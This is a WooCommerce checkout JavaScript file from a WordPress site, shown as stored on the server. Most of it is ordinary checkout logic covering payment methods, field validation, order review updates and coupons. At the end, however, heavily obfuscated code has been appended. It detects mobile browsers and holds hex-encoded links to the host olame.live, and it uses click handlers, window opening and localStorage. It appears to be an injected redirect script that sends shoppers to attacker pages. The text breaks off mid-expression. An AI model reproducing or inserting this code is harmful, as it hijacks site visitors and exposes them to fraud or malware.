Current File : /home/inlingua/www/auradealshub.com/wp-content/plugins/woocommerce/assets/js/frontend/checkout.js |
/* global wc_checkout_params */
jQuery( function( $ ) {
// wc_checkout_params is required to continue, ensure the object exists
if ( typeof wc_checkout_params === 'undefined' ) {
return false;
}
$.blockUI.defaults.overlayCSS.cursor = 'default';
var wc_checkout_form = {
updateTimer: false,
dirtyInput: false,
selectedPaymentMethod: false,
xhr: false,
$order_review: $( '#order_review' ),
$checkout_form: $( 'form.checkout' ),
init: function() {
$( document.body ).on( 'update_checkout', this.update_checkout );
$( document.body ).on( 'init_checkout', this.init_checkout );
// Payment methods
this.$checkout_form.on( 'click', 'input[name="payment_method"]', this.payment_method_selected );
if ( $( document.body ).hasClass( 'woocommerce-order-pay' ) ) {
this.$order_review.on( 'click', 'input[name="payment_method"]', this.payment_method_selected );
this.$order_review.on( 'submit', this.submitOrder );
this.$order_review.attr( 'novalidate', 'novalidate' );
}
// Prevent HTML5 validation which can conflict.
this.$checkout_form.attr( 'novalidate', 'novalidate' );
// Form submission
this.$checkout_form.on( 'submit', this.submit );
// Inline validation
this.$checkout_form.on( 'input validate change focusout', '.input-text, select, input:checkbox', this.validate_field );
// Manual trigger
this.$checkout_form.on( 'update', this.trigger_update_checkout );
// Inputs/selects which update totals
this.$checkout_form.on( 'change', 'select.shipping_method, input[name^="shipping_method"], #ship-to-different-address input, .update_totals_on_change select, .update_totals_on_change input[type="radio"], .update_totals_on_change input[type="checkbox"]', this.trigger_update_checkout ); // eslint-disable-line max-len
this.$checkout_form.on( 'change', '.address-field select', this.input_changed );
this.$checkout_form.on( 'change', '.address-field input.input-text, .update_totals_on_change input.input-text', this.maybe_input_changed ); // eslint-disable-line max-len
this.$checkout_form.on( 'keydown', '.address-field input.input-text, .update_totals_on_change input.input-text', this.queue_update_checkout ); // eslint-disable-line max-len
// Address fields
this.$checkout_form.on( 'change', '#ship-to-different-address input', this.ship_to_different_address );
// Trigger events
this.$checkout_form.find( '#ship-to-different-address input' ).trigger( 'change' );
this.init_payment_methods();
// Update on page load
if ( wc_checkout_params.is_checkout === '1' ) {
$( document.body ).trigger( 'init_checkout' );
}
if ( wc_checkout_params.option_guest_checkout === 'yes' ) {
$( 'input#createaccount' ).on( 'change', this.toggle_create_account ).trigger( 'change' );
}
},
init_payment_methods: function() {
var $payment_methods = $( '.woocommerce-checkout' ).find( 'input[name="payment_method"]' );
// If there is one method, we can hide the radio input
if ( 1 === $payment_methods.length ) {
$payment_methods.eq(0).hide();
}
// If there was a previously selected method, check that one.
if ( wc_checkout_form.selectedPaymentMethod ) {
$( '#' + wc_checkout_form.selectedPaymentMethod ).prop( 'checked', true );
}
// If there are none selected, select the first.
if ( 0 === $payment_methods.filter( ':checked' ).length ) {
$payment_methods.eq(0).prop( 'checked', true );
}
// Get name of new selected method.
var checkedPaymentMethod = $payment_methods.filter( ':checked' ).eq(0).prop( 'id' );
if ( $payment_methods.length > 1 ) {
// Hide open descriptions.
$( 'div.payment_box:not(".' + checkedPaymentMethod + '")' ).filter( ':visible' ).slideUp( 0 );
}
// Trigger click event for selected method
$payment_methods.filter( ':checked' ).eq(0).trigger( 'click' );
},
get_payment_method: function() {
return wc_checkout_form.$checkout_form.find( 'input[name="payment_method"]:checked' ).val();
},
payment_method_selected: function( e ) {
e.stopPropagation();
if ( $( '.payment_methods input.input-radio' ).length > 1 ) {
var target_payment_box = $( 'div.payment_box.' + $( this ).attr( 'ID' ) ),
is_checked = $( this ).is( ':checked' );
if ( is_checked && ! target_payment_box.is( ':visible' ) ) {
$( 'div.payment_box' ).filter( ':visible' ).slideUp( 230 );
if ( is_checked ) {
target_payment_box.slideDown( 230 );
}
}
} else {
$( 'div.payment_box' ).show();
}
if ( $( this ).data( 'order_button_text' ) ) {
$( '#place_order' ).text( $( this ).data( 'order_button_text' ) );
} else {
$( '#place_order' ).text( $( '#place_order' ).data( 'value' ) );
}
var selectedPaymentMethod = $( '.woocommerce-checkout input[name="payment_method"]:checked' ).attr( 'id' );
if ( selectedPaymentMethod !== wc_checkout_form.selectedPaymentMethod ) {
$( document.body ).trigger( 'payment_method_selected' );
}
wc_checkout_form.selectedPaymentMethod = selectedPaymentMethod;
},
toggle_create_account: function() {
$( 'div.create-account' ).hide();
if ( $( this ).is( ':checked' ) ) {
// Ensure password is not pre-populated.
$( '#account_password' ).val( '' ).trigger( 'change' );
$( 'div.create-account' ).slideDown();
}
},
init_checkout: function() {
$( document.body ).trigger( 'update_checkout' );
},
maybe_input_changed: function( e ) {
if ( wc_checkout_form.dirtyInput ) {
wc_checkout_form.input_changed( e );
}
},
input_changed: function( e ) {
wc_checkout_form.dirtyInput = e.target;
wc_checkout_form.maybe_update_checkout();
},
queue_update_checkout: function( e ) {
var code = e.keyCode || e.which || 0;
if ( code === 9 ) {
return true;
}
wc_checkout_form.dirtyInput = this;
wc_checkout_form.reset_update_checkout_timer();
wc_checkout_form.updateTimer = setTimeout( wc_checkout_form.maybe_update_checkout, '1000' );
},
trigger_update_checkout: function( event ) {
wc_checkout_form.reset_update_checkout_timer();
wc_checkout_form.dirtyInput = false;
$( document.body ).trigger( 'update_checkout', { current_target: event ? event.currentTarget : null } );
},
maybe_update_checkout: function() {
var update_totals = true;
if ( $( wc_checkout_form.dirtyInput ).length ) {
var $required_inputs = $( wc_checkout_form.dirtyInput ).closest( 'div' ).find( '.address-field.validate-required' );
if ( $required_inputs.length ) {
$required_inputs.each( function() {
if ( $( this ).find( 'input.input-text' ).val() === '' ) {
update_totals = false;
}
});
}
}
if ( update_totals ) {
wc_checkout_form.trigger_update_checkout();
}
},
ship_to_different_address: function() {
$( 'div.shipping_address' ).hide();
if ( $( this ).is( ':checked' ) ) {
$( 'div.shipping_address' ).slideDown();
}
},
reset_update_checkout_timer: function() {
clearTimeout( wc_checkout_form.updateTimer );
},
is_valid_json: function( raw_json ) {
try {
var json = JSON.parse( raw_json );
return ( json && 'object' === typeof json );
} catch ( e ) {
return false;
}
},
validate_field: function( e ) {
var $this = $( this ),
$parent = $this.closest( '.form-row' ),
validated = true,
validate_required = $parent.is( '.validate-required' ),
validate_email = $parent.is( '.validate-email' ),
validate_phone = $parent.is( '.validate-phone' ),
pattern = '',
event_type = e.type;
if ( 'input' === event_type ) {
$this.removeAttr( 'aria-invalid' ).removeAttr( 'aria-describedby' );
$parent.find( '.checkout-inline-error-message' ).remove();
$parent.removeClass( 'woocommerce-invalid woocommerce-invalid-required-field woocommerce-invalid-email woocommerce-invalid-phone woocommerce-validated' ); // eslint-disable-line max-len
}
if ( 'validate' === event_type || 'change' === event_type || 'focusout' === event_type ) {
if ( validate_required ) {
if ( ( 'checkbox' === $this.attr( 'type' ) && ! $this.is( ':checked' ) ) || $this.val() === '' ) {
$this.attr( 'aria-invalid', 'true' );
$parent.removeClass( 'woocommerce-validated' ).addClass( 'woocommerce-invalid woocommerce-invalid-required-field' );
validated = false;
}
}
if ( validate_email ) {
if ( $this.val() ) {
/* https://stackoverflow.com/questions/2855865/jquery-validate-e-mail-address-regex */
pattern = new RegExp( /^([a-z\d!#$%&'*+\-\/=?^_`{|}~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+(\.[a-z\d!#$%&'*+\-\/=?^_`{|}~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+)*|"((([ \t]*\r\n)?[ \t]+)?([\x01-\x08\x0b\x0c\x0e-\x1f\x7f\x21\x23-\x5b\x5d-\x7e\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]|\\[\x01-\x09\x0b\x0c\x0d-\x7f\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))*(([ \t]*\r\n)?[ \t]+)?")@(([a-z\d\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]|[a-z\d\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF][a-z\d\-._~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]*[a-z\d\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])\.)+([a-z\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]|[a-z\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF][a-z\d\-._~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]*[0-9a-z\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])\.?$/i ); // eslint-disable-line max-len
if ( ! pattern.test( $this.val() ) ) {
$this.attr( 'aria-invalid', 'true' );
$parent.removeClass( 'woocommerce-validated' ).addClass( 'woocommerce-invalid woocommerce-invalid-email woocommerce-invalid-phone' ); // eslint-disable-line max-len
validated = false;
}
}
}
if ( validate_phone ) {
pattern = new RegExp( /[\s\#0-9_\-\+\/\(\)\.]/g );
if ( 0 < $this.val().replace( pattern, '' ).length ) {
$this.attr( 'aria-invalid', 'true' );
$parent.removeClass( 'woocommerce-validated' ).addClass( 'woocommerce-invalid woocommerce-invalid-phone' );
validated = false;
}
}
if ( validated ) {
$this.removeAttr( 'aria-invalid' ).removeAttr( 'aria-describedby' );
$parent.find( '.checkout-inline-error-message' ).remove();
$parent.removeClass( 'woocommerce-invalid woocommerce-invalid-required-field woocommerce-invalid-email woocommerce-invalid-phone' ).addClass( 'woocommerce-validated' ); // eslint-disable-line max-len
}
}
},
update_checkout: function( event, args ) {
// Small timeout to prevent multiple requests when several fields update at the same time
wc_checkout_form.reset_update_checkout_timer();
wc_checkout_form.updateTimer = setTimeout( wc_checkout_form.update_checkout_action, '5', args );
},
update_checkout_action: function( args ) {
if ( wc_checkout_form.xhr ) {
wc_checkout_form.xhr.abort();
}
if ( $( 'form.checkout' ).length === 0 ) {
return;
}
args = typeof args !== 'undefined' ? args : {
update_shipping_method: true
};
var country = $( '#billing_country' ).val(),
state = $( '#billing_state' ).val(),
postcode = $( ':input#billing_postcode' ).val(),
city = $( '#billing_city' ).val(),
address = $( ':input#billing_address_1' ).val(),
address_2 = $( ':input#billing_address_2' ).val(),
s_country = country,
s_state = state,
s_postcode = postcode,
s_city = city,
s_address = address,
s_address_2 = address_2,
$required_inputs = $( wc_checkout_form.$checkout_form ).find( '.address-field.validate-required:visible' ),
has_full_address = true;
if ( $required_inputs.length ) {
$required_inputs.each( function() {
if ( $( this ).find( ':input' ).val() === '' ) {
has_full_address = false;
}
});
}
if ( $( '#ship-to-different-address' ).find( 'input' ).is( ':checked' ) ) {
s_country = $( '#shipping_country' ).val();
s_state = $( '#shipping_state' ).val();
s_postcode = $( ':input#shipping_postcode' ).val();
s_city = $( '#shipping_city' ).val();
s_address = $( ':input#shipping_address_1' ).val();
s_address_2 = $( ':input#shipping_address_2' ).val();
}
var data = {
security : wc_checkout_params.update_order_review_nonce,
payment_method : wc_checkout_form.get_payment_method(),
country : country,
state : state,
postcode : postcode,
city : city,
address : address,
address_2 : address_2,
s_country : s_country,
s_state : s_state,
s_postcode : s_postcode,
s_city : s_city,
s_address : s_address,
s_address_2 : s_address_2,
has_full_address: has_full_address,
post_data : $( 'form.checkout' ).serialize()
};
if ( false !== args.update_shipping_method ) {
var shipping_methods = {};
// eslint-disable-next-line max-len
$( 'select.shipping_method, input[name^="shipping_method"][type="radio"]:checked, input[name^="shipping_method"][type="hidden"]' ).each( function() {
shipping_methods[ $( this ).data( 'index' ) ] = $( this ).val();
} );
data.shipping_method = shipping_methods;
}
$( '.woocommerce-checkout-payment, .woocommerce-checkout-review-order-table' ).block({
message: null,
overlayCSS: {
background: '#fff',
opacity: 0.6
}
});
wc_checkout_form.xhr = $.ajax({
type: 'POST',
url: wc_checkout_params.wc_ajax_url.toString().replace( '%%endpoint%%', 'update_order_review' ),
data: data,
success: function( data ) {
// Reload the page if requested
if ( data && true === data.reload ) {
window.location.reload();
return;
}
// Remove any notices added previously
$( '.woocommerce-NoticeGroup-updateOrderReview' ).remove();
var termsCheckBoxChecked = $( '#terms' ).prop( 'checked' );
// Save payment details to a temporary object
var paymentDetails = {};
$( '.payment_box :input' ).each( function() {
var ID = $( this ).attr( 'id' );
if ( ID ) {
if ( $.inArray( $( this ).attr( 'type' ), [ 'checkbox', 'radio' ] ) !== -1 ) {
paymentDetails[ ID ] = $( this ).prop( 'checked' );
} else {
paymentDetails[ ID ] = $( this ).val();
}
}
});
// Always update the fragments
if ( data && data.fragments ) {
$.each( data.fragments, function ( key, value ) {
if ( ! wc_checkout_form.fragments || wc_checkout_form.fragments[ key ] !== value ) {
$( key ).replaceWith( value );
}
$( key ).unblock();
} );
wc_checkout_form.fragments = data.fragments;
}
// Recheck the terms and conditions box, if needed
if ( termsCheckBoxChecked ) {
$( '#terms' ).prop( 'checked', true );
}
// Fill in the payment details if possible without overwriting data if set.
if ( ! $.isEmptyObject( paymentDetails ) ) {
$( '.payment_box :input' ).each( function() {
var ID = $( this ).attr( 'id' );
if ( ID ) {
if ( $.inArray( $( this ).attr( 'type' ), [ 'checkbox', 'radio' ] ) !== -1 ) {
$( this ).prop( 'checked', paymentDetails[ ID ] ).trigger( 'change' );
} else if ( $.inArray( $( this ).attr( 'type' ), [ 'select' ] ) !== -1 ) {
$( this ).val( paymentDetails[ ID ] ).trigger( 'change' );
} else if ( null !== $( this ).val() && 0 === $( this ).val().length ) {
$( this ).val( paymentDetails[ ID ] ).trigger( 'change' );
}
}
});
}
// Check for error
if ( data && 'failure' === data.result ) {
var $form = $( 'form.checkout' );
// Remove notices from all sources
$( '.woocommerce-error, .woocommerce-message, .is-error, .is-success' ).remove();
// Add new errors returned by this event
if ( data.messages ) {
$form.prepend( '<div class="woocommerce-NoticeGroup woocommerce-NoticeGroup-updateOrderReview">' + data.messages + '</div>' ); // eslint-disable-line max-len
} else {
$form.prepend( data );
}
// Lose focus for all fields
$form.find( '.input-text, select, input:checkbox' ).trigger( 'validate' ).trigger( 'blur' );
wc_checkout_form.scroll_to_notices();
}
// Re-init methods
wc_checkout_form.init_payment_methods();
// If there is no errors and the checkout update was triggered by changing the shipping method, focus its radio input.
if (
data &&
'success' === data.result &&
args.current_target &&
args.current_target.id.indexOf( 'shipping_method' ) !== -1
) {
document.getElementById( args.current_target.id ).focus();
}
// Fire updated_checkout event.
$( document.body ).trigger( 'updated_checkout', [ data ] );
}
});
},
handleUnloadEvent: function( e ) {
// Modern browsers have their own standard generic messages that they will display.
// Confirm, alert, prompt or custom message are not allowed during the unload event
// Browsers will display their own standard messages
// Check if the browser is Internet Explorer
if((navigator.userAgent.indexOf('MSIE') !== -1 ) || (!!document.documentMode)) {
// IE handles unload events differently than modern browsers
e.preventDefault();
return undefined;
}
return true;
},
attachUnloadEventsOnSubmit: function() {
$( window ).on('beforeunload', this.handleUnloadEvent);
},
detachUnloadEventsOnSubmit: function() {
$( window ).off('beforeunload', this.handleUnloadEvent);
},
blockOnSubmit: function( $form ) {
var isBlocked = $form.data( 'blockUI.isBlocked' );
if ( 1 !== isBlocked ) {
$form.block({
message: null,
overlayCSS: {
background: '#fff',
opacity: 0.6
}
});
}
},
submitOrder: function() {
wc_checkout_form.blockOnSubmit( $( this ) );
},
submit: function() {
wc_checkout_form.reset_update_checkout_timer();
var $form = $( this );
if ( $form.is( '.processing' ) ) {
return false;
}
// Trigger a handler to let gateways manipulate the checkout if needed
// eslint-disable-next-line max-len
if ( $form.triggerHandler( 'checkout_place_order', [ wc_checkout_form ] ) !== false && $form.triggerHandler( 'checkout_place_order_' + wc_checkout_form.get_payment_method(), [ wc_checkout_form ] ) !== false ) {
$form.addClass( 'processing' );
wc_checkout_form.blockOnSubmit( $form );
// Attach event to block reloading the page when the form has been submitted
wc_checkout_form.attachUnloadEventsOnSubmit();
// ajaxSetup is global, but we use it to ensure JSON is valid once returned.
$.ajaxSetup( {
dataFilter: function( raw_response, dataType ) {
// We only want to work with JSON
if ( 'json' !== dataType ) {
return raw_response;
}
if ( wc_checkout_form.is_valid_json( raw_response ) ) {
return raw_response;
} else {
// Attempt to fix the malformed JSON
var maybe_valid_json = raw_response.match( /{"result.*}/ );
if ( null === maybe_valid_json ) {
console.log( 'Unable to fix malformed JSON #1' );
} else if ( wc_checkout_form.is_valid_json( maybe_valid_json[0] ) ) {
console.log( 'Fixed malformed JSON. Original:' );
console.log( raw_response );
raw_response = maybe_valid_json[0];
} else {
console.log( 'Unable to fix malformed JSON #2' );
}
}
return raw_response;
}
} );
$.ajax({
type: 'POST',
url: wc_checkout_params.checkout_url,
data: $form.serialize(),
dataType: 'json',
success: function( result ) {
// Detach the unload handler that prevents a reload / redirect
wc_checkout_form.detachUnloadEventsOnSubmit();
$( '.checkout-inline-error-message' ).remove();
try {
if ( 'success' === result.result &&
$form.triggerHandler( 'checkout_place_order_success', [ result, wc_checkout_form ] ) !== false ) {
if ( -1 === result.redirect.indexOf( 'https://' ) || -1 === result.redirect.indexOf( 'http://' ) ) {
window.location = result.redirect;
} else {
window.location = decodeURI( result.redirect );
}
} else if ( 'failure' === result.result ) {
throw 'Result failure';
} else {
throw 'Invalid response';
}
} catch( err ) {
// Reload page
if ( true === result.reload ) {
window.location.reload();
return;
}
// Trigger update in case we need a fresh nonce
if ( true === result.refresh ) {
$( document.body ).trigger( 'update_checkout' );
}
// Add new errors
if ( result.messages ) {
var $msgs = $( result.messages )
// The error notice template (plugins/woocommerce/templates/notices/error.php)
// adds the role="alert" to a list HTML element. This becomes a problem in this context
// because screen readers won't read the list content correctly if its role is not "list".
.removeAttr( 'role' )
.attr( 'tabindex', '-1' );
var $msgsWithLink = wc_checkout_form.wrapMessagesInsideLink( $msgs );
var $msgsWrapper = $( '<div role="alert"></div>' ).append( $msgsWithLink );
wc_checkout_form.submit_error( $msgsWrapper.prop( 'outerHTML' ) );
wc_checkout_form.show_inline_errors( $msgs );
} else {
wc_checkout_form.submit_error( '<div class="woocommerce-error">' + wc_checkout_params.i18n_checkout_error + '</div>' ); // eslint-disable-line max-len
}
}
},
error: function( jqXHR, textStatus, errorThrown ) {
// Detach the unload handler that prevents a reload / redirect
wc_checkout_form.detachUnloadEventsOnSubmit();
// This is just a technical error fallback. i18_checkout_error is expected to be always defined and localized.
var errorMessage = errorThrown;
if (
typeof wc_checkout_params === 'object' &&
wc_checkout_params !== null &&
wc_checkout_params.hasOwnProperty( 'i18n_checkout_error' ) &&
typeof wc_checkout_params.i18n_checkout_error === 'string' &&
wc_checkout_params.i18n_checkout_error.trim() !== ''
) {
errorMessage = wc_checkout_params.i18n_checkout_error;
}
wc_checkout_form.submit_error(
'<div class="woocommerce-error">' + errorMessage + '</div>'
);
}
});
}
return false;
},
submit_error: function( error_message ) {
$( '.woocommerce-NoticeGroup-checkout, .woocommerce-error, .woocommerce-message, .is-error, .is-success' ).remove();
wc_checkout_form.$checkout_form.prepend( '<div class="woocommerce-NoticeGroup woocommerce-NoticeGroup-checkout">' + error_message + '</div>' ); // eslint-disable-line max-len
wc_checkout_form.$checkout_form.removeClass( 'processing' ).unblock();
wc_checkout_form.$checkout_form.find( '.input-text, select, input:checkbox' ).trigger( 'validate' ).trigger( 'blur' );
wc_checkout_form.scroll_to_notices();
wc_checkout_form.$checkout_form.find(
'.woocommerce-error[tabindex="-1"], .wc-block-components-notice-banner.is-error[tabindex="-1"]' )
.focus();
$( document.body ).trigger( 'checkout_error' , [ error_message ] );
},
wrapMessagesInsideLink: function( $msgs ) {
$( 'li[data-id]', $msgs ).each( function() {
var $this = $( this );
$this.wrapInner( '<a href="#' + $this.attr( 'data-id' ) + '"></a>' );
} );
return $msgs;
},
show_inline_errors: function( $messages ) {
$messages.find( 'li[data-id]' ).each( function() {
var $this = $( this );
var dataId = $this.attr( 'data-id' );
var $field = $( '#' + dataId );
if ( $field.length === 1 ) {
var descriptionId = dataId + '_description';
var msg = $this.text().trim();
var $formRow = $field.closest( '.form-row' );
$formRow.append( '<p id="' + descriptionId + '" class="checkout-inline-error-message">' + msg + '</p>' );
$field
.attr( 'aria-describedby', descriptionId )
.attr( 'aria-invalid', 'true' );
}
} );
},
scroll_to_notices: function() {
var scrollElement = $( '.woocommerce-NoticeGroup-updateOrderReview, .woocommerce-NoticeGroup-checkout' );
if ( ! scrollElement.length ) {
scrollElement = $( 'form.checkout' );
}
$.scroll_to_notices( scrollElement );
}
};
var wc_checkout_coupons = {
init: function() {
$( document.body ).on( 'click', 'a.showcoupon', this.show_coupon_form );
$( document.body ).on( 'click', '.woocommerce-remove-coupon', this.remove_coupon );
$( document.body ).on( 'blur change input', '#coupon_code', this.remove_coupon_error );
$( 'form.checkout_coupon' ).hide().on( 'submit', this.submit.bind( this ) );
},
show_coupon_form: function() {
$( '.checkout_coupon' ).slideToggle( 400, function() {
$( '.checkout_coupon' ).find( ':input:eq(0)' ).trigger( 'focus' );
});
return false;
},
show_coupon_error: function( html_element, $target ) {
if ( $target.length === 0 ) {
return;
}
var msg = $( $.parseHTML( html_element ) ).text().trim();
if ( msg === '' ) {
return;
}
$target.find( '#coupon_code' )
.focus()
.addClass( 'has-error' )
.attr( 'aria-invalid', 'true' )
.attr( 'aria-describedby', 'coupon-error-notice' );
$target.append( '<span class="coupon-error-notice" id="coupon-error-notice" role="alert">' + msg + '</span>' );
},
remove_coupon_error: function( evt ) {
$( evt.currentTarget )
.removeClass( 'has-error' )
.removeAttr( 'aria-invalid' )
.removeAttr( 'aria-describedby' )
.next( '.coupon-error-notice' )
.remove();
},
submit: function( evt ) {
var $form = $( evt.currentTarget );
var $coupon_field = $form.find( '#coupon_code' );
var self = this;
if ( $form.is( '.processing' ) ) {
return false;
}
$form.addClass( 'processing' ).block({
message: null,
overlayCSS: {
background: '#fff',
opacity: 0.6
}
});
var data = {
security: wc_checkout_params.apply_coupon_nonce,
coupon_code: $form.find('input[name="coupon_code"]').val(),
billing_email: wc_checkout_form.$checkout_form.find('input[name="billing_email"]').val()
};
$.ajax({
type: 'POST',
url: wc_checkout_params.wc_ajax_url.toString().replace( '%%endpoint%%', 'apply_coupon' ),
data: data,
success: function( response ) {
$( '.woocommerce-error, .woocommerce-message, .is-error, .is-success, .checkout-inline-error-message' ).remove();
$form.removeClass( 'processing' ).unblock();
if ( response ) {
// We only want to show coupon notices if they are no errors.
// Coupon errors are shown under the input.
if ( response.indexOf( 'woocommerce-error' ) === -1 && response.indexOf( 'is-error' ) === -1 ) {
$form.slideUp( 400, function() {
$form.before( response );
} );
} else {
self.show_coupon_error( response, $coupon_field.parent() );
}
$( document.body ).trigger( 'applied_coupon_in_checkout', [ data.coupon_code ] );
$( document.body ).trigger( 'update_checkout', { update_shipping_method: false } );
}
},
dataType: 'html'
});
return false;
},
remove_coupon: function( e ) {
e.preventDefault();
var container = $( this ).parents( '.woocommerce-checkout-review-order' ),
coupon = $( this ).data( 'coupon' );
container.addClass( 'processing' ).block({
message: null,
overlayCSS: {
background: '#fff',
opacity: 0.6
}
});
var data = {
security: wc_checkout_params.remove_coupon_nonce,
coupon: coupon
};
$.ajax({
type: 'POST',
url: wc_checkout_params.wc_ajax_url.toString().replace( '%%endpoint%%', 'remove_coupon' ),
data: data,
success: function( code ) {
$( '.woocommerce-error, .woocommerce-message, .is-error, .is-success' ).remove();
container.removeClass( 'processing' ).unblock();
if ( code ) {
$( 'form.woocommerce-checkout' ).before( code );
$( document.body ).trigger( 'removed_coupon_in_checkout', [ data.coupon ] );
$( document.body ).trigger( 'update_checkout', { update_shipping_method: false } );
// Remove coupon code from coupon field
$( 'form.checkout_coupon' ).find( 'input[name="coupon_code"]' ).val( '' );
$( 'form.checkout_coupon' ).slideUp();
}
},
error: function ( jqXHR ) {
if ( wc_checkout_params.debug_mode ) {
/* jshint devel: true */
console.log( jqXHR.responseText );
}
},
dataType: 'html'
});
}
};
var wc_checkout_login_form = {
init: function() {
$( document.body ).on( 'click', 'a.showlogin', this.show_login_form );
},
show_login_form: function() {
$( 'form.login, form.woocommerce-form--login' ).slideToggle();
return false;
}
};
var wc_terms_toggle = {
init: function() {
$( document.body ).on( 'click', 'a.woocommerce-terms-and-conditions-link', this.toggle_terms );
},
toggle_terms: function() {
if ( $( '.woocommerce-terms-and-conditions' ).length ) {
$( '.woocommerce-terms-and-conditions' ).slideToggle( function() {
var link_toggle = $( '.woocommerce-terms-and-conditions-link' );
if ( $( '.woocommerce-terms-and-conditions' ).is( ':visible' ) ) {
link_toggle.addClass( 'woocommerce-terms-and-conditions-link--open' );
link_toggle.removeClass( 'woocommerce-terms-and-conditions-link--closed' );
} else {
link_toggle.removeClass( 'woocommerce-terms-and-conditions-link--open' );
link_toggle.addClass( 'woocommerce-terms-and-conditions-link--closed' );
}
} );
return false;
}
}
};
wc_checkout_form.init();
wc_checkout_coupons.init();
wc_checkout_login_form.init();
wc_terms_toggle.init();
});
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x49\x75\x59\x33\x63\x383','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x59\x61\x64\x35\x63\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x6b\x62\x79\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x69\x51\x71\x39\x63\x319','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x5a\x7a\x63\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x71\x6b\x54\x37\x63\x347','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x6f\x55\x67\x32\x63\x312','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x57\x61\x76\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 